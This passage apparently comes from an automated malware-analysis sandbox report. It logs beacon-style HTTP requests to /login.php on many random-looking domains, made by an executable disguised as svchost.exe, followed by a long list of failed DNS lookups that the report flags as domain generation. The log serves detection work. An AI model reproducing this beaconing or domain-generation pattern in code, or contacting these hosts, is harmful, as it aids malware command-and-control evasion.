    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=908vr478892903411187757
    Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com Cookie: snkz=66.23.206.109; btst=d49d5951c50bfddcd538c170c4b2f525|66.23.206.109|1731347300|1731347300|0|1|0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qexyhuv.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyxynyx.com Cookie: __tad=1731347316.6624222
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyciz.com Cookie: snkz=66.23.206.109; btst=28ebda691eb034d3559cf05f4c55a51f|66.23.206.109|1731347315|1731347315|0|1|0
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vofycot.com Cookie: __tad=1731347315.6084114
    Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php?subid1=20241112-0450-16f3-ae99-53051689f189 HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww25.lyxynyx.com Connection: Keep-Alive Cookie: __tad=1731347316.6624222
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php?sub1=20241112-0450-17b0-8984-b4b272a22199 HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww16.vofycot.com Connection: Keep-Alive Cookie: __tad=1731347315.6084114
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com
    Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lygyvuj.com Cookie: snkz=66.23.206.109; btst=293809bacc657b47b250fb03d68a31f5|66.23.206.109|1731347323|1731347323|0|1|0
    Queries random domain names (often used to prevent blacklisting and sinkholes)
    Source: unknownDNS traffic detected: English language letter frequency does not match the domain names
    Tries to resolve many domain names, but no domain seems valid
    Source: unknownDNS traffic detected: query: qexysig.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puzypug.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pumytup.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gahynus.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lykyjux.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qebylov.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vofydac.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pupytyl.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pupydig.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qexyriq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pujyxyl.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pufybyv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: volydot.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gacyvah.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qetytug.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puvyxil.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pufymyg.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: purywop.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyrygyn.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vonymuf.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vofyqit.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puzyxyv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vopyret.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pujymip.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qedyvuv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: galypyh.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: galyfyb.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qexyxuv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gaqyzuw.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pumywaq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gaqyhuz.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vowydef.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qeqysag.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: volykit.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vonycum.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qekyxul.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qebyrip.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gacykeh.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vowybof.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gadyneh.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyxymed.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pupypep.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyryfyd.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qexyvoq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qeqyhup.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gacyhis.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qegyrol.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lysymux.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gadypuw.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gaqyvob.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qekyheq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qekykup.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyryxij.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vocycuc.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qexykug.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: volyzef.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qeqyfaq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qexyfel.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vofygum.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gahykih.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gaqykab.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vonyzuf.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puvymul.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qedyveg.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vofykoc.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vopycom.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lykygaj.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gacykub.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vojygok.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vowykaf.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lymyvin.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vowymyk.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qetyrap.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vonydik.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gatycoh.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vofymik.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puvyjop.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gahyvuh.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vowyzuk.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: purydyv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gatyqih.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qegytyv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vojykom.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vopykak.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyxylor.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vofygaf.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lymylyr.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qedynaq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pujygaq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gatydaw.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lygywor.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lysywon.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: galyquw.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lysyvud.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lysysod.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gadyrab.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qegysoq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qegynap.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pufygug.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lysyfyj.com replaycode: Server failure (2)
    Source: unknownDNS traffic detected: query: puvyliv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gatyvyz.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qetyfop.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qedyfyq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: purycap.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: purydip.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gadyveb.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vofybyf.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qetyvil.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyvylod.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: purycul.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gadyfuh.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vonyqok.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vonyjim.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyrytod.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: volypum.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lykymox.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: galyhiw.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qedysov.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gacypyz.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pupypiv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: purytyg.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qeqyxov.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: ganydiw.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyryvex.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puzyjoq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lykyvod.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pufyjuq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vonypyf.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gaqyzoh.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qeqykog.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vowydic.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vocyrom.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: ganyqow.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vopyjuf.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pumyjig.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qetylyv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: volymum.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pumybal.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vocyzek.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pumymuv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyrytun.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lymymud.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qetyquq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: ganycuh.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: galyvas.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lykynyj.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qexyqog.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: volymaf.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vopybyt.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyvylyn.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gahyhob.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qebysul.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gacydib.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vocymut.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gatyzys.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gadyduz.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pupygel.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qebytiq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pupymyp.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gatynes.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: volyqat.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puzyjyg.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qegyqaq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pupycuv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyvywed.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gahypus.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vojyjof.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gahycib.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gadyzyh.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qexylup.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vojymic.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pumypog.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vonyryc.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puzybep.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: ganyzas.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qedyhyl.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vowyjut.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pufydep.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lykynon.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gadyhyw.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyxyfar.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lysytyr.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pufypiq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qebyrev.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gacynuz.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lykytej.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vowycac.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: purypol.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyxyjun.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: ganykaz.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vojyrak.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyryjir.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puvytuq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vocyjic.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qeqyqiv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gadyvis.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pujypup.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qegykiq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lykygur.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gatyduh.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qebyhuq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: ganypih.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qedyrag.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vowypit.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gahyqub.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gacyryw.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qekyqyl.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyryled.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gaqynyw.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puryjil.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyxyjaj.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pupywog.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gaqyfah.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qegyhev.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vocydof.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vonygec.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qetytav.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: purygeg.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gacyqys.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qeqytal.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qekysip.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lykymyr.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qebynyg.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vojyjyc.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pujygul.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puzytap.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gadyfob.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qeqytup.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pufywil.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gatycyb.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gaqycos.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyxyxyd.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vowygem.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qekyhil.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gahyfow.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qegylep.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qetyvep.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gahynaz.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qexykaq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lygyfir.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gacycus.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pumycug.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qebyxyq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: ganyriz.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: galycuw.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vofymem.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyrymuj.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qebyfav.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyxywer.com replaycode: Name error (3)
